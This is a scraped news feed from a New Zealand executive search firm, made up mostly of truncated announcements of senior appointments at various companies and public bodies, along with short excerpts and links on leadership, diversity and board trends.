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Hobson Leavy is pleased to announce the appointment of Edward Timmins to the role of General Counsel and Company Secretary for Precinct Properties.   Edward is currently the General Counsel for NZX-listed Fisher & Paykel Healthcare, a role he has held since 2015. Edward has a strong background prior to joining Fisher & Paykel with top New Zealand corporate law firm Russell McVeagh and law firm Allen & Overy …

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Hobson Leavy is pleased to announce the appointment of Iwan Bridge as Chief Operating Officer for First Gas.   Iwan brings more than 25 years of global experience in the oil & gas sector. Most recently he was Operations Manager / Deputy General Manager for Shell Taranaki, after initially joining the organisation in 1995. Other roles over his time with Shell have included Maui Activity Manager, SAP Project Manager, …

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Hobson Leavy is pleased to announce the appointment of Ian Lee to the role of Deputy Chief Executive, Strategy and Design for the Tertiary Education Commission (TEC).   Ian is an experienced strategy executive who has worked in both the airline industry and FMCG sector for the past 16 years. Most recently at Air New Zealand as Strategy Manager, Networks & Competitive Analysis, Ian was involved in several major …

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Hobson Leavy is pleased to announce the appointment of Mark Wilson as Executive Principal for Kristin School. Please see attached media release for details (click on the image to stop from scrolling through).

Hobson Leavy is pleased to announce the appointment of Nick Jorgensen to the role of Chief Operating Officer for Tramco.   Nick has been the Financial Controller for Metlifecare for the past 3 years. Prior to this he spent 15 years with PwC, starting in the Financial Assurance division in Wellington, before going to PwC London. He then spent a year with Tate & Lyle in London as a contract …

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Hobson Leavy is pleased to announce the appointment of Sophie Haslem as a Non-Executive Director and Chair of the Audit, Finance and Risk Committee for Livestock Improvement Corporation (LIC).   Sophie brings more than 20 years of broad commercial experience working across a range of companies. She has a solid track record in governance including multiple audit and risk chair roles, and a strong executive background in banking, finance and mergers and …

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Hobson Leavy is pleased to announce the appointment of Philip Dring to the role of General Manager for Rockgas, following the sale of the business to Gas Services NZ.   Philip was most recently LPG National Manager for Contact Energy. Prior to this he spent five years with Komatsu NZ, initially as National Sales & Marketing Manager, then progressing to NZ Country Manager / Regional General Manager. Before this he was in …

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New Zealand’s leading companies are reportedly lagging behind the rest of the world when it comes to digital innovation, and are being stifled by unreasonable expectations from their Boards and a skills shortage, as shown by KPMG’s survey of 50 top Chief Executives. Only a third of CEOs were confident their leadership team could manage the change projects, and more than three-quarters thought their Boards had unreasonable expectations on the …

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Recognition of the value that diversity adds to an organisation beyond its bottom line, is affirmed by a significantly heightened focus on diversity in 2018. How best to enact diversity and inclusion practices presents a challenge. This interview by the Association of Executive Search Consultants provides insights into the importance of being clear about the “why” of Diversity and Inclusion programmes and the critical role that executive search consultants have …

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New Zealand’s unemployment level is at 3.9%, the lowest in ten years. Attracting and hiring the right talent at all levels has become a key barrier globally to achieving revenue growth. The following article discusses how the global shortage of talent for specific roles is driving organisations to become creative in how they attract, develop and retain new staff. Cybersecurity and other tech jobs are hard to fill, and autistic …

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KPMG’s 2018 New Zealand CEO Outlook provides a helpful barometer of key issues for CEOs. The survey of 50 leading CEOs from 11 sectors in New Zealand highlights the enormous change in our environment over the past year. Organisations navigating new levels of uncertainty including geopolitics along with threats of cyber security and disruptive technologies. Only 26% of New Zealand CEOs surveyed are confident that their existing leadership team is …

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Hobson Leavy is pleased to announce the appointment of Ed Overy to the role of Chief Information Officer for Airways.   Ed brings more than 20 years’ experience in information technology leadership roles. He was most recently the Chief Information Officer at KiwiRail where he led a transformation of the state owned enterprise’s IT function. Prior to this, he led Air New Zealand’s Japan based sales, marketing and commercial teams and …

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Hobson Leavy is pleased to announce the appointment of Kathy Meads to the Board of NZ Plumbing Merchants (NZPM) as a Non-Executive Director and Chair of the Audit & Risk Committee.   Kathy is a professional director, currently on the boards of Port Taranaki, Enable Networks, and Shipowners’ Mutual Protection and Indemnity Association. Her previous Board directorships include Snap Ltd and Ngai Tahu Holdings Subsidiary Companies. Kathy’s executive career includes …

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Hobson Leavy is pleased to announce the appointment of Angela Aldous to the role of Heart Healthcare Manager for the Heart Foundation.   Angela has a physiotherapy background, working in various physiotherapy roles in the USA and in New Zealand and held a number of health related leadership roles before joining Bupa in 2013 as their National Operations Manager for Rehabilitation, a role she held for three years.  In 2017, …

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Hobson Leavy is pleased to announce the appointment of Sarah Smart to the Board of James Crisp as a Non-Executive Director.   Sarah is currently Marketing & Innovation Director for Epicurean Dairy Ltd NZ (The Collective), after initially joining the organisation in 2013 as Marketing Director. Prior to this she was Marketing Manager for innocent drinks UK for five years, after starting her career in various marketing roles with MasterFoods NZ.   Sarah has a Bachelor …

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Hobson Leavy is pleased to announce the appointment of Steve Penney to the role of General Manager Investment for Stride Investment Management Ltd (SIML). Steve joins SIML from HRL Morrison & Co Limited, where he is currently Investment Director, bringing considerable experience in property and infrastructure investment and strategy. Steve has led investment projects for Morrison & Co in relation to property investment and redevelopment, and brings considerable skills in …

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Hobson Leavy is pleased to announce the appointment of Chris O’Donnell to the role of Chief Financial Officer for Argenta Ltd.   Most recently, Chris was Finance & IT Director Oceania & South East Asia for DeLaval. Prior to this he was with Ecolab for six years, starting in New Zealand as Financial Accounting Manager before moving to Sydney where he was Financial Accounting Manager ANZ, and then Asia Pacific …

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Hobson Leavy is pleased to announce the appointment of Sarah Wood to the role of Chief Executive Officer for realestate.co.nz.   Sarah has worked at NZME for the past four years in various digital-focused roles and is currently General Manager – Digital Ventures; GrabOne and YUDU. Prior to this Sarah was based in the USA and worked on the relaunch of the GS1 US brand and website.   Please join …

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Hobson Leavy is pleased to announce the appointment of John Skurr to the role of National Sales Manager for Alliance Group.   John comes to the role from PGG Wrightson where he has spent the last 10 years in various senior sales roles including NZ National Key Account Manager, National Sales Support Manager, Technical Capability Manager, and most recently Head of Water and Retail Technical. Prior to this, John worked …

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Hobson Leavy is pleased to announce the appointment of Scott Bartlett as a Council Member for the University of Waikato.   Scott has been the Chief Executive Officer for Kordia for the past six years, prior to which he was with Orcon for seven years, six of those as Chief Executive. He is currently an Advisory Board Member on the Pacific Telecommunications Council, and is also an Advisory Board Member for …

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Hobson Leavy is pleased to announce the appointment of Greg Ford to the role of Regional Manager, Auckland for Leighs Construction.   Greg comes to the role from Fletcher Construction where he was most recently Business Delivery Manager, Auckland & Waikato, prior to which he was Development Manager (Apartments), Auckland. Previously, he held roles including Construction Manager for SecureFuture Wiri, and Senior Project Manager for Mainzeal Construction, following almost 10 …

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Hobson Leavy is pleased to announce the appointment of James Moulder as a Non-Executive Director for Genesis.   James has strong governance experience having held a number of non-executive Board and Advisory Board positions. He was until recently Chairman of the Electricity Authority’s Market Development Wholesale Advisory Group, and previously chaired the NZ Electricity Commission: Market Development Advisory Group. His previous Directorships include CO2 New Zealand Limited, Rodney Properties Limited and …

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Hobson Leavy is pleased to announce the appointment of Leonie Freeman to the role of Chief Executive Officer for the Property Council New Zealand.   Leonie has extensive experience in the New Zealand property industry, having held top positions in both the public and private sector. In 1996, she created the concept of what is now realestate.co.nz, one of the first major commercial websites launched in New Zealand and in 2011 …

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Hobson Leavy is pleased to announce the appointment of Cameron Burrows as Chief Executive Officer for the Electricity Retailers’ Association of New Zealand (ERANZ). Cameron is a trained economist who has held various roles in the New Zealand Parliament, including serving as Chief Policy Advisor to former Prime Ministers Sir John Key and Sir Bill English. He has also worked at the New Zealand Treasury and in the UK public service. …

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Hobson Leavy is pleased to announce the appointment of Rachael Newsome to the role of Chief Risk Officer & General Counsel for First NZ Capital.   Rachael comes to the role from Icebreaker where she is General Counsel & Strategist. Prior to this she was in London as General Counsel with StudyGroup International, before which she spent five years with NZX as Head of Direct Products, Corporate Counsel, and Lawyer. …

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Hobson Leavy is pleased to announce the appointment of Angela Bull and Bridget Coates to the Board of the Real Estate Institute of New Zealand (REINZ) as Independent Directors.   Bridget Coates has significant governance experience across a diverse range of Boards. Bridget’s current governance positions include being a Director of Tegel Group Holdings, the Chairperson and CEO of Kura Nutrition and White Cloud Dairy Innovation Limited, and a member …

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Hobson Leavy is pleased to announce the appointment of Adrienne Roberts to the role of Global Chief Financial Officer for Allpress Espresso.   Adrienne is a senior finance leader with over 25 years of international finance experience. Until mid 2017, Adrienne was CFO for Carpet Court, prior to which she was CFO for Veritas Investments. Before this, she spent five years as CFO for the Better Drinks Co (formerly Charlie’s …

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Building on the theme of agile and innovative organisations, the following article is from our global Association of Executive Search Consultants, AESC. This article explores how legacy companies can take on the best of start-up culture in an increasingly competitive environment where technology is accelerating the pace of change. There is considerable emphasis being placed on the behaviours that drive effective “teaming” which is achieving great success in rapid product …

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It is increasingly accepted that the successful organisation of the future will be agile and diverse and possess a global mindset. The biggest challenge around this is changing mindset and skill set, and businesses being willing to shift out of their current silo thinking, and consider mobile working, virtual working and virtual teams, bringing together the best people wherever they are in the world. This article discusses what is required …

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Women are under-represented at the senior executive level in New Zealand and indeed in every country in the world. The following article references recent research from McKinsey which found that UK companies with lots of women executives significantly outperform financially. It also found that CEO’s named David, Steve or Stephen outnumbered female CEOs on the FTSE 100 in 2016. In New Zealand, CEOs named Mark (3) and/or Simon (3) currently …

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We are increasingly advising organisations which are transforming to be more agile to meet the challenges presented by today’s tough and fast changing environment. Often we see promising executives leave organisations as part of restructures to meet a change in direction, resulting in the loss of knowledge and skills which are difficult to replace. This article makes a case for retaining existing promising executives through helping them play by new …

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Great ideas require brilliant teams to get them off the ground. Taking a science-practitioner approach to leadership, Gordy Curphy has spent the past 30 years researching, teaching, practicing, and providing consulting advice on leadership teams.  In conjunction with Winsborough, we are pleased to host an event with Gordy Curphy later in October where he will discuss the current paradox which is happening in senior executive teams today: the talent …

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Hobson Leavy is pleased to announce the appointment of Michael James to the role of Non-Executive Director for Middlemore Clinical Trials.   Michael is the former Chief Financial Officer for Plant & Food Research, a Crown owned science company assisting New Zealand’s horticultural, arable and food sectors. He has had significant senior executive experience, particularly with innovative or high technology organisations with international scale. Previously he was CFO at Navman, …

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Hobson Leavy is pleased to announce the appointment of Quentin Smith to the role of Group General Manager Finance, Infrastructure and Information for Plant & Food Research.   Quentin began his career with professional services firm, PwC, where he became an Associate. From here, he became a Financial Consultant with McDonalds Restaurants New Zealand and went on to head up the Finance and Development portfolios for the business. He was responsible …

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Hobson Leavy is pleased to announce the appointment of Bart Challis to the role of Chief Operating Officer for Scion.   Bart brings 20 years of technology-related industry experience, having established a proven track record in international technology commercialisation, R&D and operational management, strategic partnering, creating and implementing strategic vision, leading and empowering people and successful multi-party negotiations.   Originally growing up in Rotorua, Bart completed a genetics-related Ph.D. at …

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Hobson Leavy is pleased to announce the appointment of Leon Wijohn to the Board of Auckland City Mission.   Leon is an Accounting Advisory Partner at Deloitte. He has over 25 years’ experience working in senior financial roles, and brings a strong knowledge of tax, management accounting and audit. Prior to joining Deloitte, Leon was Director of his own chartered accountancy business, which he established in 2007. As a trusted …

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Hobson Leavy is pleased to announce the appointment of Lyndsey Francis to the role of Head of Content for the Commission for Financial Capability (CFFC).   Until the end of 2017, Lyndsey was General Manager, Content Solutions & Customer Insights for TVNZ. Prior to this she held the role of Managing Director for media agency Total Media for five years, originally joining the business in 2006 as Business Director, and then …

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Hobson Leavy is pleased to announce the appointment of Annemarie Browne to the role of Chief Marketing Officer for Lotto NZ.   Annemarie brings over 25 years of senior marketing experience to the role. Most recently she was Chief Executive Officer for Aspire2 Business, prior to which she was Global Vice President – Marketing for Orion Health for four years. She spent a number of years with TVNZ, initially joining …

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Hobson Leavy is pleased to announce the appointment of Craig Marriott to the role of General Manager Health, Safety & Environment for First Gas.   Craig brings over 25 years of health & safety experience. He comes to the role from Advisian where he was Global Lead, Safety Consulting, and most recently was seconded to the General Manager – High Hazards and Energy Safety role with WorkSafe for the first …

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Hobson Leavy is pleased to announce the appointment of James Stevenson-Wallace to the role of Chief Executive for the Electricity Authority.   James is General Manager of Energy and Resource Markets at the Ministry of Business, Innovation and Employment. He is one of seven general managers within MBIE’s building, resources and markets division. His unit oversees all aspects of energy and resources policy including mining and oil and gas exploration and …

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Hobson Leavy is pleased to announce the appointment of Brett Gliddon to the role of System Design and Delivery General Manager for the New Zealand Transport Agency.   Brett is a qualified civil engineer with more than 18 years’ experience in infrastructure planning, design and delivery, including maintenance and operations. Most recently he was Senior Manager System Design for NZTA, before which he spent three years as Highway Manager, Auckland/Northern. Brett has …

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Hobson Leavy is pleased to announce the appointment of Ian Olan to the role of Chief Operating Officer for Auckland UniServices.   Most recently Ian was General Manager, Group Shared Services for Fletcher Building, initially joining the company in early 2016 as Group Transformation Manager. Prior to this he was a Divisional CFO with Fisher & Paykel Healthcare for the global Obstructive Sleep Apnoea division for five years. Ian brings …

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Hobson Leavy is pleased to announce the appointment of Nikki Thomas to the role of Director, Organisational Development & Wellness for the University of Waikato. Most recently Nikki was Learning & Development Advisor for Hamilton City Council’s Building Unit, prior to which she spent six years with PwC in Auckland as Organisational Development Manager. Nikki began her organisational development career in Wales as Organisational Development Officer with Newport City Council, …

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Hobson Leavy is pleased to announce the appointment of Talia Tuhakaraina to the role of Sales Director for Tasti Products. Most recently Talia was General Manager Sales for Mix Cosmetics. Prior to this she spent three years with Mars NZ as National Sales Manager and National Field Sales Manager for the Grocery division, before which she was with Fonterra Brands as Regional Sales Manager and Key Account Manager. Talia’s earlier …

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Hobson Leavy is pleased to announce the appointment of Nick Summerfield to the role of Financial Services Partner for Anthony Harper. Nick was most recently with Kensington Swan in Auckland as a specialist in the financial markets team. He began his career with Kensington Swan in Wellington, before working on investment funds, banking and M&A with Maples and Calder in London. In 2009 he came back to Kensington Swan in …

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Hobson Leavy is pleased to announce the appointment of Gillian Dudgeon to the role of Deputy Chief Executive, Delivery for the Tertiary Education Commission (TEC). Most recently Gillian was General Manager Shared Services / Internal Partners with EQC, after joining the organisation in 2014 as Chief Risk Officer. Prior to this she held senior roles with ANZ for almost 10 years, including Chief Of Staff, Head of Retail Risk, General …

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Hobson Leavy is pleased to announce the appointment of Frazer Scott to the role of Chief Executive Officer for Plan B. With more than 18 years of senior leadership experience – spanning sales, marketing and C-suite roles – Scott joins Plan B following 15 years at Microsoft. Since starting out as a sales leader covering Xbox and consumer products, Frazer was appointed COO of the entertainment and devices division across …

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Hobson Leavy congratulates Matt Whineray on his appointment to the CEO role at the NZ Superannuation Fund. Matt was first appointed to the Fund by Hobson Leavy back in 2008 – well done Matt! Read more about Matt’s placement here: https://www.nzsuperfund.co.nz/news-media/matt-whineray-appointed-nz-super-fund-ceo 

Hobson Leavy is pleased to announce the appointment of Jamie Sinclair to the role of Chief Executive Officer for Ngāti Whātua Ōrākei Trust. Jamie has worked with the hapū for the last three years as Deputy Chief Executive of its development arm, Ngāti Whātua Ōrākei Whai Maia. He has a background in strategy development, risk management, finance and change management. Before joining the Trust, he worked as a Director for …

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Hobson Leavy is pleased to announce the appointment of Chynel James to the role of Chief Technology Officer for BDO NZ. Chynel comes from Air New Zealand, working in various roles since joining the organisation in 2002. Most recently she was Strategic Programme Manager for HR Transformation, prior to which she was Manager, People & Finance Platforms. Before this she was Business Service Delivery Manager – Customer Distribution & Enterprise …

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Hobson Leavy is pleased to announce the appointment of Mark Kennedy to the role of National Operations Business Leader for Altus NZ, a joint venture between Fletcher Aluminium and NALCO. Most recently Mark was General Manager Operations NZ for Asaleo Care (formerly SCA Hygiene Australasia) for six years. He initially joined SCA Hygiene in 2008 as Site Manager Swanson Road for two years, then Site Manager Te Rapa for two …

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Hobson Leavy is pleased to announce the appointment of Kevin Bowler as Chief Executive Officer for My Food Bag, after an extensive search process.   Kevin has an outstanding track record as a leader and innovator. Under his tenure as CEO of Tourism New Zealand the international visitor sector grew over 30 percent to be New Zealand’s biggest export earner, worth more than $13b annually and attracting over 3.6m overseas …

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Hobson Leavy is pleased to announce the appointment of Julian Travaglia to the role of General Manager Retail for Public Trust.   Julian has most recently been Chief Executive Officer of New Zealand Home Loans, prior to which he spent seven years with AIG. He first joined AIG in 2008 as Head of Consumer Lines, before then becoming Head of Client and Broker Engagement. In his earlier career he held …

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Hobson Leavy is pleased to announce the appointment of Udit Singh to the role of Chief Executive Officer for MilkTestNZ.   Most recently Udit was Director Business Development and Food ANZ for Eurofins ANZ. He initially joined Eurofins in 2011 as Vice President Food SEA, before then moving onto Managing Director NZ and Director Business Development Asia. Prior to this he was with AsureQuality for four years as Group General …

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Hobson Leavy is pleased to announce the appointment of Trish Meakin to the role of Chief People Officer for Partners Life.   Most recently, Trish was Head of HR at Kiwibank, before which she was Head of HR Channels & Digital Platforms for NZ Post Group. Prior to this she spent eight years as HR Director for GE Capital NZ, following four years in a Senior HR role with GE …

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Hobson Leavy is pleased to announce the appointment of Lauren Riley to the role of General Manager Commercial Bay Retail for Precinct Properties.   Lauren has worked in several roles at Kiwi Property over the last 10 years, most recently as Centre Manager for Sylvia Park, which she has managed through the recent expansion stages, including the development & launch of the new dining district. Lauren initially joined Kiwi Property as …

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Hobson Leavy is pleased to announce the appointment of Andrew Wilshire as General Manager Business Performance for Northpower.   In a new role on the Northpower executive team, Andrew’s focus will be on ensuring Northpower has efficient systems, strong data analytics capability and robust processes, enabling the organisation to be a lean, efficient, high performing business. Andrew is an experienced executive with strong strategy and change management experience across many …

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Hobson Leavy is pleased to announce the appointment of George Adams to the Board of Competenz.   George is the former Chairman of the NZ Food & Grocery Council and currently holds chairman and directorship roles on the boards of Occupational Health Advisory Board, the Business Leaders Health and Safety Forum, Mix Cosmetics, Apollo Foods, Tegel Group Holdings, Insightful.Mobi and Nexus Foams Ltd.   George takes up the directorship on …

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Hobson Leavy is pleased to announce the appointment of Barbara Chapman as Non-Executive Director to the Board of Genesis Energy.   Barbara was most recently the Chief Executive of ASB Bank for 7 years. She brings strengths in disruptive innovation, marketing, digital transformation, consumer technologies, and driving leading brands.   Barbara’s appointment will be effective from 1st May 2018. Read more about her placement here: https://www.genesisenergy.co.nz/about/media-centre/news/genesis-chair-announces-appointment-of-barbara-cha 

Latest data from PwC shows that forced turnover across the globe costs shareholders $112 billion in total returns annually. A smooth leadership transition is one of the marks of a successful CEO and the most important duty of an effective Board, yet many companies get it wrong. Increasingly the best CEOs and Boards engage expert third parties to ensure objectivity and rigour in the process, often pointing Boards towards candidates …

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Despite the plethora of leadership development tools and programmes, there is a paucity of hard data guiding optimal leadership development strategies. The four sets of interventions that appear to matter most are: –    Contextualising the programme based on the organisation’s position and strategy; –    Ensuring sufficient reach across the organisation; –    Designing the programme for the transfer of learning; and –    Using system and reinforcement to lock in change. https://www.mckinsey.com/global-themes/leadership/whats-missing-in-leadership-development  …

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Companies all want to be more agile, react more quickly and operate more effectively. In order to do this, they are focussing on building value, combing digital technologies and operational capability in an integrated and well sequenced way, improving revenues and customer experience and managing costs. This requires a shift from uncoordinated silo type behaviours, and piece-meal responses to customers, to one of applying behaviours organised around customer journeys with …

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Latest research reinforces the link between diversity and company financial performance. Gender and ethnic diversity are clearly collated with profitability, but woman and minorities remain under represented. In 2017, latest McKinsey Research shows that executive teams out of performing companies have more women in line roles versus staff roles. https://www.mckinsey.com/business-functions/organization/our-insights/delivering-through-diversity 

Hobson Leavy is pleased to announce the appointment of David Hemara to the role of Chief Executive Officer for the Dairy Goat Cooperative (DGC).   David joined DGC in 2014 as General Manager Strategy and Commercial. He brings over 20 years of commercial and executive experience in New Zealand agritech, including the role of Chief Operating Officer of LIC. He also has experience in operations management, marketing, laboratory management and …

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Hobson Leavy is pleased to announce the appointment of Adrienne Meikle to the role of Chief Executive for the Commerce Commission.   Adrienne is currently Deputy Chief Executive, Corporate, Governance and Information group at the Ministry of Business, Innovation and Employment. Prior to her current role Adrienne held the positions of Acting Deputy Chief Executive, Market Services and General Manger, Resolution Services at MBIE. Before joining MBIE Adrienne held the roles …

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Hobson Leavy is pleased to announce the appointment of Andrew Knight to the role of Chief Executive for the Gas Industry Company.   “We were fortunate to have the choice of several outstanding candidates, and I’m pleased Andrew has accepted the role,” says Gas Industry Co’s Chair Jim Bolger.   Mr Knight was a Director of Gas Industry Co from November 2012 to November 2016. He is an experienced Chief …

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Hobson Leavy is pleased to announce the appointment of Deborah Marris to the role of General Counsel and Head of Commercial for Synlait Milk.   Deborah brings over 20 experience working in financial institutions internationally. Most recently she was Managing Director, Head of APAC Global Compliance Services for Barclays India,  prior to which she was Head of Risk and Compliance for Westpac Australia. Before this she spent six years with ANZ, …

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Hobson Leavy is pleased to announce the appointment of Natalie Innes to the role of Chief Executive Officer for Van Dyck Fine Foods.   Natalie brings over 25 years’ experience in marketing in food and FMCG sectors. Most recently she was contracting to Fonterra on a Marketing Strategy Project, prior to which she was with Goodman Fielder for seven years, finishing there in 2015 as Marketing Director Australia. Her other …

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Hobson Leavy is pleased to announce the appointment of David White to the role of Chief Operating Officer for Southern Cross Travel Insurance.   David comes to the role from nib, where he has been Head of Operations for four years. He brings more than 25 years’ experience across a breadth of leadership roles spanning digital and information technology, strategic initiatives, operations, systems and financial management. His career includes a …

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Hobson Leavy is pleased to announce the appointment of Arlene White to the role of Chief Executive for Education Payroll Ltd (EPL).   Arlene comes to EPL from Inland Revenue, where she was the Deputy Commissioner, Service Delivery for the past 5 years. Arlene began her career at the Canada Revenue Agency and worked in progressively more responsible roles there, prior to immigrating to New Zealand in March 2012 to …

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Hobson Leavy is pleased to announce the appointment of Katie Thomas to the role of Group People & Performance Manager for Delegat Group.   Katie has been with PwC for the past 11 years, most recently in the role of People & Culture Director for the NZ business. Before this she was People & Culture Senior Manager in NZ for two years, prior to which she was with PwC in …

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Hobson Leavy is pleased to announce the appointment of Carol Palmer to the position of Chief Operating Officer for BDO Auckland.   Carol was most recently General Manager Corporate Services for the Serious Fraud Office, before which she was with Grant Thornton for six years as General Manager, and then Regional Business Manager. Prior to this she held the role of General Manager Commercial for Positively Tourism Wellington for four …

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Hobson Leavy is pleased to announce the appointment of Susanne Rolfe to the role of General Manager Marketing and Sales for Tatua.   Susanne brings 30 years of experience in the FMCG sector, including with Nestle, Danone, and Mondelez. She is currently based in Singapore as Global Category Marketing Director for Mondelez.   Susanne holds a Bachelor of Management Studies from the University of Waikato, and a Master of Business Administration …

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Hobson Leavy is pleased to announce the appointment of Grant Bayldon to the role of Chief Executive Officer for World Vision NZ.   Grant brings a huge depth of experience and knowledge in the NGO space. For the past 6 years he has been leading Amnesty NZ as their Executive Director, prior to which he was Marketing Director, and Operations & Executive Deputy Director for Oxfam NZ, and before this …

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Hobson Leavy is pleased to announce the appointment of David Hughes to the role of Chief Executive Officer for Plant & Food Research.   David is currently Group General Manager Commercial at Plant & Food Research. Prior to this he worked extensively in the Dairy Industry during a career with the New Zealand Dairy Board and Fonterra, including senior roles in New Zealand, the Middle East, Japan, USA and Australia.   …

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Hobson Leavy is pleased to announce the appointment of Joan Simeon to the role of Chief Executive Officer for the Medical Council of New Zealand.   Joan is the current Strategic Programme Manager at the Medical Council. Prior to her role in Strategy, she held a senior role in the Registration area of Council. In being appointed as the Chief Executive, Mrs Simeon will lead the organisation in further developing …

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Hobson Leavy is pleased to announce the appointment of Adrian Orr as the Governor for the Reserve Bank.   Mr Orr was a former deputy governor at the Reserve Bank before heading to the NZ Super Fund, which he has led since 2007.   Follow the link to read more about Adrian’s placement here: https://www.nbr.co.nz/article/adrian-orr-named-new-reserve-bank-governor-211028 

We are creating an intelligence that is external to humans and housed in the virtual economy. A succession of technologies, the Internet, the cloud, big data, robotics, machine learning and now artificial intelligence are driving a digital economic revolution. This is bringing us into a new economic era, a distributive one, where different rules apply.   This article explores the ways new technologies are changing the economy and considers whether …

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Hobson Leavy Partner and Otago alumna, Carrie Hobson, was recently interviewed by the Otago University Magazine on her appointment as a University of Otago Council Member. In this article we learn about Carrie’s career journey and the many skills she brings to the Council table, and the transformative powers of education. http://www.otago.ac.nz/otagomagazine/issue45/profiles/otago664686.html 

Hobson Leavy are proud members of Panorama, a global network of partners that together form an exclusive alliance of leading independent executive search firms, active over the world’s major time zones. Panorama has 44 partners, 16 firms, 30 offices, 80 consultants and 100 researchers across Europe, North America and Asia Pacific. Panorama was founded with a like-minded approach to provide quality work and shared values and ethics.   In October, …

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Speculating what Boards of Directors will look like in 2025 is somewhat challenging however this is what the AESC (Association of Executive Search) seeks to achieve in its July issue of Executive Talent magazine.   Jo Baxter, Associate Partner at Hobson Leavy, shares insights alongside executive search executives from around the world in this article which discusses Boards of the Future, the drivers of change, Board tenure and succession, Board …

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Hobson Leavy is pleased to announce the appointment of Chris Lyman as Chief Executive Officer for Lotto NZ. Chris has been with Lotto NZ since 2002, starting in retail and sales leadership roles and most recently was in the role of Chief Operating Officer. Lotto NZ exists to provide safe gaming that allows New Zealanders to play and win, while contributing money back to New Zealand communities. Follow the link …

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Hobson Leavy is pleased to announce the appointment of Phoebe Hu as Strategy and Planning Manager for Alliance Group.   Phoebe will be responsible for the development and ongoing management of the company’s strategy and business planning processes and for supporting the delivery of the company’s on-going strategic initiatives. Phoebe was most recently a Senior Finance Business Partner with Broadspectrum. She has eight years’ experience mostly in the FMCG sector …

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Hobson Leavy is pleased to announce the appointment of Andy Lester to the position of Chief Executive Officer for MainPower.   Andy has experience in senior leadership roles across a diverse range of sectors including infrastructure, technology, manufacturing and agriculture. Most recently he ran his own emergency management consulting business, prior to which he was with Christchurch International Airport for seven years as Chief Operating Officer. Andy has a Bachelor …

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Hobson Leavy is pleased to announce the appointment of David Traill to the position of Chief Executive Officer for the Pacific Catastrophe Risk Insurance Company (PCRIC).   David brings to the role a solid grounding in insurance having worked in a number of organisations and across a diverse range of areas looking after underwriting, product development and pricing. Over the past 10 years he has built an understanding of risk …

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Hobson Leavy is pleased to announce the appointment of Tracey Reason to the role of Manager, Heart Healthcare for The Heart Foundation.   Tracey brings a strength of experience in primary care, disease risk assessment and prevention, and a detailed understanding of evidence based research and policy across a wide range of organisations.  Her most recent role was Business Operations Manager for the University of Auckland Clinics.   The Heart …

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Hobson Leavy is pleased to announce the appointment of Tim Keir to the role of General Manager Operations for Tatua.   Tim brings a strength of operational management from within the dairy sector, after more than 17 years with Fonterra. Most recently he was General Manager Operations, South Island, and prior to this was Fleet Services & On Farm Assets Manager. He previously held a variety of technical and processing …

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Hobson Leavy is pleased to announce the appointment of Chris Andersen to the role of Chief Marketing Officer for Barfoot & Thompson.   Chris has previously held positions at Sistema Plastics, Office Products Depot and ASB. He brings a diverse marketing background with strengths in digital content and sales.   Read more about Chris’ placement here: https://www.nbr.co.nz/article/chief-marketing-officer-appointment-b-209916 

Hobson Leavy is pleased to announce the appointment of Arron Judson as General Manager Marketing and Partnerships for Scion.   Arron has a strong background in technology and innovation. He was most recently Director for the Centre of Software and Innovation and ICT Sector Innovation Manager for the University of Auckland. Prior to this he was General Manager for SmallScreen Ltd, a start-up which he founded, before which he was …

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Hobson Leavy is pleased to announce the appointment of Julian Smith to Group Manager Retail for Meridian Energy.   Julian brings strong digital marketing and leadership experience from a variety of sectors, including retail, banking and technology and has held senior positions at Westpac, Coca Cola and MYOB.   Read more about Julian’s placement here: https://www.meridianenergy.co.nz/news-and-events/meridian-energy-appoints-new-group-manager-retail. 

Hobson Leavy is pleased to announce the appointment of Tony Arthur as Chief Sales Officer for Partners Life.   Tony comes to Partners Life after a successful 10 year career at the Bank of New Zealand. His roles have included Head of Business Development and Marketing – Agribusiness, Head of Agribusiness – BNZ Partners, Head of Northern – Retail Banking and Head of Retail Distribution – Retail Banking. Most recently …

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Hobson Leavy is pleased to announce the appointment of Miriam Dean QC and David McConnell as independent directors to the Real Estate Institute of New Zealand (REINZ).   Miriam is currently Chair of the Banking Ombudsman Scheme and New Zealand on Air, a Director of Otakora Ltd and Crown Infrastructure Partners Ltd, and a Trustee of the Royal New Zealand Ballet Board. Miriam was made a Queen’s Counsel in 2004, …

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Hobson Leavy is pleased to announce the appointment of Wayne Brown as Headmaster for Wanganui Collegiate.   Wayne is currently Associate Deputy Headmaster and Director of Staff Performance at Hutchins School in Tasmania. He has a strong corporate and sporting background and brings a truly international perspective to WCS, with previous roles in New Zealand, Australia and the UK.   Read more about Wayne’s placement here: http://www.collegiateconnect.co.nz/uploads/files/New%20Headmaster.pdf 

Hobson Leavy is pleased to announce the appointment of Professor Martin Carroll as Executive General Manager Academic for Manukau Institute of Technology.

Hobson Leavy are pleased to announce the appointment of Hamish Rumbold to Chief Executive Officer for ClearPoint.   Hamish is the current Group General Manager of Digital Customer Products & Retailing for Air New Zealand. Prior to this, Hamish was the Vice President and General Manager South America at Aimia, a Canadian publicly listed company.    Read more on Hamish’s placement here: https://www.nbr.co.nz/article/clearpoint-marks-10th-birthday-appointment-air-nz%E2%80%99s-hamish-rumbold-new-ceo-b-207100 

Hobson Leavy are pleased to announce the appointment of Narelle Umbers as Principal of Samuel Marsden Collegiate School. Narelle is currently at Peninsula Grammar, a prestigious co-educational independent school in Melbourne, where she is a Deputy Principal. Previously she held a number of senior positions at Ivanhoe Girls’ Grammar, another leading independent school and has spent time in corporate roles. Read more on Narelle’s placement here: https://www.marsden.school.nz/about/news/2017/august/new-principal-announcement/ 

Is it the hubris of humans that is the biggest barrier to using technology, to generate higher productivity and bigger profits? Academics argue that judgements in organisations are left to the highest paid person’s opinions. These are often based on judgements, intuition, gut feeling and biases not grounded in evidence. The evidence that robots are better decision makers than humans is increasingly compelling.   http://www.nzherald.co.nz/business/news/article.cfm?c_id=3&objectid=11882783 

In this article from the London Business School, the authors discuss why women are less likely to put themselves forward for leadership roles, which may be one of the key reasons women are not more well represented in senior executive and CEO roles.   https://www.london.edu/faculty-and-research/lbsr/how-to-stop-women-leaning-out?utm_campaign=743437_MC_LBSR_Emails_FY17_April_Themed_Prospects&utm_medium=email&utm_source=DotMailer&utm_content=Article%202&dm_i=2SVQ,FXN1,ZZ9JG,1ND3E,1#.WZ9xmT4jG72 

